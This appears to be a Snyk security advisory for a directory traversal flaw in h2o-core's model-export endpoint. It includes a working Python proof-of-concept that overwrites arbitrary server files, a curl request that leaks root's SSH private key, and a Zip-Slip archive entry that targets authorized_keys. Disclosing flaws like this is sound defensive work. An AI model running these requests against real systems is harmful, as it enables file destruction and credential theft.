Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for ai.h2o:h2o-core
.
Affected versions of this package are vulnerable to Directory Traversal via the endpoint for exporting models. An attacker can overwrite any file on the target server by exporting a model to any file in the server's file structure.
Note:
This vulnerability requires there to be a model that is available for export. In usual instances of h2o-3
there are probably some models in memory from regular use.
import requests
import io
import random
import string
import time
# Replace this with the hosted IP of the server
HOSTED_IP = ...
FORM_HEADERS = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
}
# Some simple "data" which is going to be used as a dataset
SIMPLE_DATA = "1,2,3\n2,1,1\n1,2,5\n,2,1,2"
# A UID used to refer to both the uploaded data, but also the model later.
# It doesn't matter that they are the same.
name = "".join(random.choices(string.ascii_letters, k=12))
# Uploading the data
data = io.StringIO(SIMPLE_DATA)
requests.request(
"POST",
"http://{}:54321/3/PostFile?destination_frame={}.csv".format(HOSTED_IP, name),
files={
"name": (f"{name}.csv", SIMPLE_DATA)
}
)
# "Parsing" the data (converting it into a H2O frame)
payload = "&".join([
"destination_frame=parsed.hex",
"source_frames=%5B{}.csv%5D".format(name),
"parse_type=CSV",
"separator=44",
"number_columns=3",
"single_quotes=false",
"column_names=",
"column_types=%5B%22Numeric%22%2C%22Numeric%22%2C%22Numeric%22%5D",
"check_header=-1",
"delete_on_done=true",
"chunk_size=4194304"
])
requests.request("POST", "http://{}:54321/3/Parse".format(HOSTED_IP), data=payload, headers=FORM_HEADERS)
# Wait for the parsing job to finish
time.sleep(2.0)
# Actually train the model
payload = "&".join([
"model_id={}".format(name),
"training_frame=parsed.hex",
"validation_frame=parsed.hex",
"seed=-1",
"response_column=C1",
"ignored_columns=",
"algorithm=AUTO",
"min_rule_length=3",
"max_rule_length=3",
"max_num_rules=-1",
"model_type=RULES_AND_LINEAR",
"rule_generation_ntrees=50",
"remove_duplicates=true",
"lambda=",
"weights_column=C3",
"distribution=AUTO",
"auc_type=AUTO",
"max_categorical_levels=10"
])
requests.request("POST", "http://{}:54321/3/ModelBuilders/rulefit".format(HOSTED_IP), headers=FORM_HEADERS, data=payload)
# Waiting for the model to be done training
time.sleep(2.0)
# At this point the server has a model with id {name}.
# So we can export it to any path we like:
TARGET_PATH = "/some/path/here"
requests.request("GET", "http://{}:54321/99/Models.bin/{}?dir={}&force=true".format(HOSTED_IP, name, TARGET_PATH.replace("/", "%2F")))
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
st
is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public
route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e
is the URL encoded version of .
(dot).
Zip-Slip
.One way to achieve this is by using a malicious zip
archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip
archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys